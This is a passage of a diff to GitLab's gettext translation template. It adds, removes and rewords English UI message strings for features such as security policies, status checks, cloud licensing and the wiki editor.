msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -28878,6 +28650,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -28890,7 +28683,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -28953,6 +28746,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29058,6 +28854,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29160,9 +28959,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29193,9 +28989,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29298,9 +29100,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29394,7 +29193,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29433,10 +29232,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29478,9 +29277,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29523,6 +29319,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29613,6 +29412,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29793,9 +29595,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29820,6 +29619,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -29844,9 +29646,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -29874,9 +29673,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -29910,12 +29706,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -29960,6 +29750,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30293,9 +30086,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30398,6 +30188,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30464,12 +30257,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30503,9 +30290,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30548,9 +30332,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30602,6 +30383,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30620,6 +30404,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30722,15 +30509,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -30947,12 +30725,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -30971,7 +30755,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31001,6 +30785,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31088,6 +30875,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31097,9 +30887,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31454,6 +31241,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31472,7 +31262,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31544,9 +31340,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31559,7 +31352,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31607,7 +31400,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31622,7 +31415,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31631,10 +31424,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -31826,6 +31619,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32176,7 +31972,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32185,6 +31981,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32194,6 +31993,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32227,9 +32029,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32263,7 +32062,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32293,6 +32092,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32366,6 +32168,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32387,15 +32192,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32480,18 +32285,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32555,9 +32354,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32576,10 +32372,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32594,9 +32390,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32606,9 +32399,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32627,9 +32417,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32771,9 +32558,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -32894,6 +32678,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -32969,6 +32756,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33002,7 +32792,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33098,6 +32888,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33137,9 +32930,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33224,7 +33014,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -33961,9 +33751,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34048,9 +33844,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34150,9 +33943,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34165,6 +33967,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34213,6 +34018,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34691,12 +34505,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34787,21 +34595,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -34937,9 +34730,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35276,9 +35066,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35408,6 +35204,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35705,9 +35504,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35717,9 +35513,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35801,9 +35603,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -35887,6 +35686,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -35905,9 +35707,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -35941,6 +35740,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36010,7 +35812,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36151,7 +35956,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36283,6 +36088,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36583,6 +36391,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36592,6 +36409,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36791,7 +36611,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -36812,6 +36632,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -36827,16 +36650,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -36851,10 +36674,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37124,6 +36953,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37163,9 +36995,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37343,21 +37172,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37421,9 +37247,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37583,12 +37406,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37616,18 +37433,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37640,12 +37451,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37715,12 +37520,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37805,6 +37616,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -37814,6 +37628,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -37905,6 +37722,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -37962,12 +37782,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -37992,6 +37821,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38010,9 +37842,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38314,6 +38143,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38395,6 +38227,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38472,9 +38307,6 @@ msgid "from %d job"
msgid_plural "from %d jobs"
